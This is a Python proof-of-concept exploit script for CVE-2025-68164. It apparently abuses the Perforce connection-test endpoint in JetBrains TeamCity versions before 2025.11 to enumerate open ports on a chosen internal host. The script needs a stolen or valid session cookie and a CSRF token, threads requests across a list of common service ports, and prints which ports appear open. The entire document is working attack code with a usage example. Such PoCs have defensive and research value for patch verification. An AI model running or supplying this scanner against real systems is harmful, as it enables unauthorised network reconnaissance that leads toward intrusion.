# CVE-2025-68164 PoC - JetBrains TeamCity Port Enumeration via Perforce Connection Test
# This PoC demonstrates the port enumeration vulnerability in TeamCity < 2025.11
import requests
import json
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
def check_port_via_perforce_test(base_url, target_ip, port, session_cookie, csrf_token):
"""
Test if a specific port is open by leveraging the Perforce connection test functionality
"""
endpoint = f"{base_url}/app/rest/vcs-root-instances/checkConnection"
headers = {
'Content-Type': 'application/json',
'Cookie': session_cookie,
'X-CSRF-Token': csrf_token
}
payload = {
'vcsRoot': {
'id': 'PerforceTest',
'name': 'Perforce Test',
'vcsName': 'perforce',
'properties': {
'port': target_ip,
'client': 'test_client',
'user': 'test_user',
'password': 'test_password',
'workspaceDir': '.',
'portNumber': str(port) # Target port to enumerate
}
}
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10, verify=False)
# Port is likely open if connection succeeds (no timeout, no connection refused)
if response.status_code in [200, 400] and 'connection refused' not in response.text.lower():
return port, True, response.status_code
else:
return port, False, response.status_code
except requests.exceptions.Timeout:
return port, False, 'timeout'
except requests.exceptions.ConnectionError:
return port, False, 'connection_error'
except Exception as e:
return port, None, str(e)
def enumerate_ports(base_url, target_ip, ports, session_cookie, csrf_token):
"""
Enumerate multiple ports using the Perforce connection test vulnerability
"""
results = {'open': [], 'closed': [], 'error': []}
print(f"[*] Starting port enumeration on {target_ip} via TeamCity Perforce test")
print(f"[*] Testing {len(ports)} ports...")
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {
executor.submit(check_port_via_perforce_test, base_url, target_ip, port, session_cookie, csrf_token): port
for port in ports
}
for future in as_completed(futures):
port, is_open, status = future.result()
if is_open:
print(f"[+] Port {port} appears to be OPEN")
results['open'].append(port)
elif is_open is False:
results['closed'].append(port)
else:
results['error'].append({'port': port, 'status': status})
return results
def main():
if len(sys.argv) < 5:
print("Usage: python cve-2025-68164_poc.py <teamcity_url> <target_ip> <session_cookie> <csrf_token>")
print("Example: python cve-2025-68164_poc.py https://teamcity.local 192.168.1.100 'tc_session=xxx' 'csrf_token_xxx'")
sys.exit(1)
base_url = sys.argv[1].rstrip('/')
target_ip = sys.argv[2]
session_cookie = sys.argv[3]
csrf_token = sys.argv[4]
# Common ports to enumerate
common_ports = [
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445,
993, 995, 1723, 3306, 3389, 5900, 8080, 8443, 9090
]
results = enumerate_ports(base_url, target_ip, common_ports, session_cookie, csrf_token)
print("\n" + "="*50)
print("[*] Enumeration Complete")
print(f"[+] Open Ports: {results['open']}")
print(f"[*] Closed Ports: {len(results['closed'])}")
print(f"[!] Errors: {len(results['error'])}")
print("="*50)
if __name__ == "__main__":
main()